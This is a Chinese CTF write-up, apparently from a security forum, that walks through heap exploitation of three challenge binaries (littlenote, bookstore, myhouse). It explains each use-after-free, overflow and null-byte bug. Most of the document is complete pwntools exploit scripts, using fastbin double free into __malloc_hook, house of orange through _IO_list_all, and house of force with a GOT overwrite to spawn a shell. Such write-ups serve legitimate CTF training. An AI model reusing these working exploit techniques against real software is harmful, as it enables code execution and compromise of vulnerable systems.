0x01 littlenote

保护全开的堆利用程序,有add、show、delete功能,delete模块有UAF漏洞。
add: 只能申请size为0x71或0x31的堆块

show: 显示堆块内容

delete: 存在UAF

攻击思路:
1.利用UAF,删除堆块,再读取数据,泄漏heap地址
2.再次利用UAF漏洞,将fd指针篡改到某堆块中间,就能继续输入数据改写下一个相邻chunk的size,把size改大,然后free,就能使其进入unsortedbin,从而泄漏libc地址
3.第三次利用UAF做double free,向malloc_hook填入one_gadget地址

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./littlenote.so'
context.log_level='debug'
r=process('./littlenote')
def add(cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('note')
    r.send(cont)
    r.recvuntil('?')
    r.sendline('Y')
def add2(cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('note')
    r.send(cont)
    r.recvuntil('?')
    r.sendline('N')
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
#use UAF to leak heap
add('0'*8)#0
add('1'*8)#1
add('2'*8)#2
add('3'*0x20)#3
add('4'*0x20)#4
delete(1)
delete(2)
show(2)
r.recv(1)
heap1=u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(heap1)
#fastbin double free,changing size to 0xe1 and leak libc
delete(1)
add(p64(heap1+0x40))#5
add('6'*0x60)#6
add('7'*0x38+p64(0x7f))#7
add('z'*0x20+p64(0)+p64(0xe1))#8
delete(6)
show(2)
r.recv(1)
leakl=u64(r.recvline()[:-1].ljust(8,'\x00'))
lbase=leakl-0x7ffff7dd1b78+0x7ffff7a0d000
one=lbase+0xf0274
mhk=leakl-0x68
#fastbin double free,changing __malloc_hook to one_shot
add('9'*0x20)#9
add('a'*0x20)#10
delete(9)
delete(10)
delete(9)
add(p64(mhk-0x23))#11
add('c'*0x60)#12
add('d'*0x38+p64(0x7f))#13
add('e'*0x13+p64(one))#14
print hex(leakl)
print hex(lbase)
print hex(one)
#trigger
delete(3)
delete(3)
#gdb.attach(r)
r.interactive()

0x02 bookstore

PIE和canary保护没有开启,有addbook、readbook、sellbook功能。

addbook:当readn的size=0时,会触发严重的堆溢出漏洞

readbook:

sellbook:

readn:当参数a2为0时,遇到’\n’才退出循环,可以写入超长字节,导致堆溢出

攻击思路:
1.利用溢出漏洞将下一个chunk size改大,再free,使其进入unsorted bin,从而泄露libc地址
2.进行house of orange攻击,即首先做unsortedbin attack,覆盖_IO_list_all,同时伪造old top chunk位置的size=0x61,使其对应于smallbin[4],再准备好’/bin/sh’字符串和新的vtable地址,这样,malloc报错时就能跳转到vtable,在执行系统内部流程的时候执行system(‘/bin/sh’)

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./bookstore.so'
context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('What is the author name?')
    r.sendline(author)
    r.recvuntil('How long is the book name?')
    r.sendline(str(size))
    r.recvuntil('What is the name of the book?')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)

add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x7ffff7dd1c31+0x7ffff7a0d000
sys=lbase-0x7ffff7a0d000+0x7ffff7a52390
sh=lbase-0x7ffff7a0d000+0x7ffff7b99d17
iolistall=lbase-0x7ffff7a0d000+0x7ffff7dd2520
strjumps=lbase-0x7ffff7a0d000+0x7ffff7dd07a0

fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4

r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()

0x03 myhouse

开启了NX和canary保护:

程序主要有两个漏洞:
1.可以向任意地址写一个字节’\x00’

2.owner和housen字段相连,如果输入末尾没有’\x00’,可以泄露堆地址

攻击思路:
1.原本考虑向_IO_buf_base写’\x00’,从而改写_IO_buf_end,在_IO_2_1_stdin_上做溢出,后来发现该题不满足条件,不能指向_IO_buf_end。于是考虑将main_arena的top指针最低字节改为’\x00’,指向堆的其他位置,同时在该位置构造0xffffffffffffffff的size,进行house of force攻击。首先malloc很大的堆块,例如0x200000,就能开辟mapped段,它与libc段的偏移是固定的,就能向main_arena的top写'\x00'
2.利用house of force把堆块分配到bss段,篡改desc等指针指向atoi函数的GOT表,泄露并篡改GOT表,最终获得shell

exp:

from pwn import *
env=os.environ
env['LD_PRELOAD']='./myhouse.so'
context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
    r.recvuntil('Your choice:\n')
    r.sendline('1')
    r.recvuntil('What is the size of your room?')
    r.sendline(str(size))
def editroom(cont):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('shining!')
    r.send(cont)
def show():
    r.recvuntil('Your choice:')
    r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖